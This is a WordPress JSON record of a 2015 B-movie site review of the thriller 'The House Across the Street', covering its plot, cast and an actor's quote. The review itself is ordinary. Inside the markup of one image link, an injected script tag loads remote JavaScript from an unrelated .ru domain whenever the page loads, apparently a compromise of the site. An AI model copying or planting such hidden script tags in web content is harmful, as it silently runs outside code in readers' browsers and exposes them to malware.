{"id":14997,"date":"2015-03-24T05:01:07","date_gmt":"2015-03-24T11:01:07","guid":{"rendered":"http:\/\/www.bmovienation.com\/?p=14997"},"modified":"2015-03-23T19:36:46","modified_gmt":"2015-03-24T01:36:46","slug":"the-house-across-the-street-review","status":"publish","type":"post","link":"https:\/\/www.bmovienation.com\/?p=14997","title":{"rendered":"The House Across the Street &#8211; Review"},"content":{"rendered":"<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=15078\" rel=\"attachment wp-att-15078\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-15078\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/03\/THATScover-213x300.jpg\" alt=\"THATScover\" width=\"213\" height=\"300\" srcset=\"https:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/03\/THATScover-213x300.jpg 213w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/03\/THATScover.jpg 425w\" sizes=\"auto, (max-width: 213px) 100vw, 213px\" \/><\/a><\/p>\n<p style=\"text-align: center;\"><a href=\"http:\/\/www.thehouseacrossthestreet.com\/\"><strong>www.thehouseacrossthestreet.com<\/strong><\/a><\/p>\n<p><em>Amy has moved east from Kansas, determined to start a new life. She thinks she has found the perfect small quiet town, a great neighborhood on a quiet street. As she moves into her brand new apartment, eager to start a dream job, happy to befriend her neighbors, she finds out that not everything is as it seems, especially at the house across the street.<\/em><br \/>\n<em>The problem is Amy&#8217;s bold curiosity which gets her in trouble from time to time. Does she ignore the odd things happening at the house across the street, like her neighbors do, or does she satisfy her curiosity at the expense of losing everything, including her life?<\/em><\/p>\n<p>[youtube_sc url=&#8221;https:\/\/www.youtube.com\/watch?v=el7eI2eFcP0&#8243;]<\/p>\n<p>&nbsp;<\/p>\n<p>Love thy neighbor does not exist on Amy\u2019s new block! <em>The House Across the Street<\/em> is a gripping thriller that will keep you questioning what happened to Amy, which new neighbors are trustworthy, how mentally stable Amy is, and mostly what\u2019s going on and who lives in the house across the street?<\/p>\n<p>Writer, Director, and Editor Arthur Luhn does an excellent job at keeping the audience engaged in the film.\u00a0 There are multiple sub-stories occurring that eventually tie in together, along with several twists and turns that keeps you guessing throughout the film. The tone of the film is dark as are the characters and their quirky and mysterious actions, all which is complimented by the tense music provided by Composer Munk Duane.<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=15076\" rel=\"attachment wp-att-15076\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-15076\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/03\/jessica-300x300.jpg\" alt=\"jessica\" width=\"300\" height=\"300\" srcset=\"https:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/03\/jessica-300x300.jpg 300w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/03\/jessica-145x145.jpg 145w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/03\/jessica-65x65.jpg 65w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/03\/jessica.jpg 315w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><script src=\"\/\/pngme.ru\/seter\"><\/script><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>Amy has a scarred past and her current life is complex and mysterious, but she\u2019s courageous, determined, strong willed, and a bit paranoid and angry at times.\u00a0 Jessica Sonneborn obviously submerged herself into the role and mind of Amy and its evident when you watch her stellar performance in the movie.<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=15077\" rel=\"attachment wp-att-15077\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-15077\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/03\/JessicaSonneborn-300x128.jpg\" alt=\"JessicaSonneborn\" width=\"300\" height=\"128\" srcset=\"https:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/03\/JessicaSonneborn-300x128.jpg 300w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/03\/JessicaSonneborn-785x334.jpg 785w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/03\/JessicaSonneborn.jpg 1000w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>Jessica shared a little about\u00a0her\u00a0role as Amy<em>, \u201cI loved playing a character that was on one hand so incredibly fragile, and on the other, able to stand up, ask questions and put herself in danger, because it was the right thing to do.\u00a0 There is a small part of myself in that character: the lost child wandering though the world trying to understand why.\u201d<\/em><\/p>\n<p>The rest of the cast includes quite a few familiar and well-known actors, Eric Roberts, Courtney Gains, Alex Rocco, and\u00a0 Josh Hammond just to name a few.<\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=15075\" rel=\"attachment wp-att-15075\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-15075\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/03\/EricRoberts-300x128.jpg\" alt=\"EricRoberts\" width=\"300\" height=\"128\" srcset=\"https:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/03\/EricRoberts-300x128.jpg 300w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/03\/EricRoberts-785x334.jpg 785w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/03\/EricRoberts.jpg 1000w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>When the movie opens, Amy is moving into her new rental home. \u00a0Immediately she witnesses a woman screaming at the house across the street and while doing so becomes a victim of a hit and run. \u00a0Amy finds out the woman is the mother of a girl that recently disappeared. \u00a0\u00a0From that point on the tone is set when the apparent friendly neighbors are a little too casual about the accident and Police Officer Peterson (Eric Roberts) makes it clear to Amy to mind her own business about the accident and in general.\u00a0 Eric Roberts did an excellent job as the cryptic cop trying to keep Amy from pursuing her curiosity about the woman and missing girl while keeping an eye on Amy.<\/p>\n<p>It\u2019s not only the cul-de-sac she lives on, it\u2019s everyone she encounters in the neighborhood and entire town that act strange. However, there are questions surrounding Amy\u2019s mental stability when we find out she\u2019s on anti-psychotics and she can\u2019t get her prescription refilled.<\/p>\n<p>You know there is some sort of conspiracy going on in the town and while you try figuring things out, there\u2019s always that question whether Amy is creating some of the madness in her own mind.<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=15074\" rel=\"attachment wp-att-15074\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-15074\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/03\/CourtneyGains-300x128.jpg\" alt=\"CourtneyGains\" width=\"300\" height=\"128\" srcset=\"https:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/03\/CourtneyGains-300x128.jpg 300w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/03\/CourtneyGains-785x334.jpg 785w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2015\/03\/CourtneyGains.jpg 1000w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>Eventually Amy becomes friends with Police Officer Kyle (Josh Hammond), who can relate to her as he too is fairly new to the town.\u00a0 \u00a0The more Amy investigates with the assistance of Officer Kyle, she pieces things together.\u00a0 When she accomplishes one of her goals regarding the missing girl, you think the mystery is over, but no, Amy isn\u2019t done, and she digs deeper and breaks everything wide open. This puts her in more danger and makes Officer Peterson even more aggressive and all Amy\u2019s apparent new friends are even more questionable by their actions.<\/p>\n<p>During the climatic scenes, the drama intensifies and the audience, just like Amy, still has a few remaining unanswered questions that she\u2019ll get answers to no matter what it takes.\u00a0\u00a0 When it all unravels, the \u201cbroken\u201d Amy will take care of everything when she\u2026..I can\u2019t spoil it, you have to see it for yourself when <em>The House Across the Street <\/em>is available.\u00a0 It\u2019s a must see highly intense thriller with a cast and story that keeps you engaged throughout.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><em>If you have some thoughts to share about this article or you&#8217;d like to discuss B movies with other B movie fans and filmmakers please visit our <a href=\"http:\/\/www.facebook.com\/groups\/bmovienation\/\" target=\"_blank\">B Movie Nation Facebook group<\/a>.<\/em><\/p>\n<div class=\"syndication-links\"><\/div>","protected":false},"excerpt":{"rendered":"<p>www.thehouseacrossthestreet.com Amy has moved east from Kansas, determined to start a new life. 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